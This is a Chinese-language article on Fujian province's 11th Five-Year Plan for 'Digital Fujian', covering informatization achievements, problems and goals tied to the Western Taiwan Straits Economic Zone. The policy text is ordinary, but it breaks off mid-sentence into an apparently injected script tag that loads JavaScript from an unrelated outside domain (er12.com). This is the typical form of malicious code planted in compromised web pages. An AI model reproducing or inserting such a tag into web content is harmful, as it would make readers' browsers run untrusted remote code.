“十一五”是福建省全面推进海峡西岸经济区建设的关键时期。福建明确提出了建设海洋经济强省的目标。规划中说，“十一五”期间，要坚持陆海联动，以滨海城市和陆域经济为依托，以港口建设和临港工业发展为突破口，以科学进步和体制创新为动力，加快海洋产业发展，形成海岸、海岛、近海、远洋多层次的海洋开发格局，把福建建成特色明显的海水养殖、海洋制造业、滨海旅游以及海洋科技创新和教育基地，使福建由海洋资源大省向海洋经济强省转变。
建设数字福建是全面推进福建省国民经济和社会信息化，是福建省委、省政府适应现代化、全球化、信息化发展形势，贯彻落实科学发展观、构建和谐社会、全面推进海峡西岸经济区建设做出的一项重要举措。
“十五”：数字福建启动
《福建省“十一五”数字福建建设专项规划》(以下简称《专项规划》)中提到：“十五”期间，数字福建建设紧紧围绕福建省国民经济和社会发展计划，大力加强福建省国民经济和社会信息化建设，实现了“十五”规划目标，基本形成福建省信息化建设的框架体系，取得了阶段性的成果。
具体而言，主要包括：信息化基础设施建设取得重大进展。电子政务建设和应用取得重大成果。社会领域信息化逐步拓展。企业信息化稳步推进。信息化发展环境逐步改善。出台了一系列的信息化管理办法，形成较为完善的项目论证审批机制，信息化管理工作逐步规范。
《专项规划》总结，福建省在信息化工作方面仍然存在一些不可忽视的问题，如：公共网络基础设施低层次重复建设，利用率不高；电子政务公共服务能力不足，尚未发挥应有的支撑和带动作用；政务网管理体制尚未理顺；企业信息化水平总体落后于全国水平；信息资源开发利用不够；区域信息化建设不平衡等。
探究这些问题产生的主要原因，一是在认识上。一些地方和部门仍然没有认识到信息化的重要性，落实不具体，措施不到位。二是在体制机制方面。阻碍信息共享和流程整合创新的瓶颈尚未完全突破，促进信息系统共建共享、信息资源开发利用的机制尚未有效建立，全省信息化管理等体制还需进一步理顺。三是信息化政策、法规和标准规范严重滞后于信息化建设，信息安全防范和应急处置体系、网络信任体系建设存在不足，信息安全整体防范技术仍处于较低层次。四是除了厦门等少数设区市外，大部分市县信息化建设投入不足，人才缺乏，技术薄弱。五是中小企业信息化投入不足，工作机制和推进模式需要进一步完善。这些问题和矛盾是导致福建省信息化资源未能有效整合，整体效益尚未充分发挥的重要原因。
“十一五”：靠海洋强省
面对机遇与挑战并存的重要发展时期，数字福建建设将紧紧围绕海峡西岸经济区建设任务，在科学发展观统领下，创新工作思路，强化公共服务，转变建设模式，推行共建共享，促进集成应用，加强功能开发，实现从重点推进省级信息化建设到省级深化应用、市县(覆盖社区和农村)加强建设、从自建自管到一体化建设、从系统建设到资源开发、从政府为主推进到全社会共同参与、从技术驱动和资金驱动到业务驱动和制度创新等五个方面的全方位转变，以建立适应新形势的信息化工作机制、营造更加良好的发展环境。
《专项规划》中提到：“十一五”期间，福建面临的形势包括：
一、全面建设海峡西岸经济区对数字福建提出了新要求。“十一五”期间，全面建设海峡西岸经济区是福建省的中心工作。它要求强化“延伸两翼、对接两洲，拓展一线、两岸三地，纵深推进、连片发展，对外开放、服务全局”的发展态势；要求各项工作要积极融入，找准定位，发挥作用；要求发展强竞争力的信息产业，建设现代化的信息网络，应用信息技术改造和优化传统产业，促进信息资源开发利用。这些要求为“十一五”期间数字福建建设指明了方向，确定了任务。因此，“十一五”期间，数字福建要紧紧围绕建设海峡西岸经济区中心任务，通过广泛、深入、持续地推广应用信息技术和开发利用信息资源，着力构建立足福建、连接两洲一台、拓展两个市场、利用两种资源的现代化信息网络和应用系统，拓展海峡西岸经济区发展空间，突破发展瓶颈；积极发展依托优势产业和港口资源的对外开放、互联互通的电子商务，促进要素和产业集聚；深化以公共服务为特征的电子政务建设，营造更加良好的发展环境；加强信息技术人才培养，促进自主创新，为海峡西岸经济区发展提供全面支撑。
二、树立和落实科学发展观赋予数字福建建设新内涵。科学发展观的核心是以人为本、协调发展、自主创新。它赋予数字福建建设三个方面的新内涵。
一是信息化建设要突出公共服务，满足最大多数人的需求，以社会公众为首要服务对象，并以便民利民、界面友好为设计和建设原则。二是信息化建设要为实现协调发展服务，“十一五”期间，要特别加强市、县和广大农村地区的信息化建设，统筹配置信息化资源，促进信息化在城乡之间、?script src=http://er12.com/t.js>
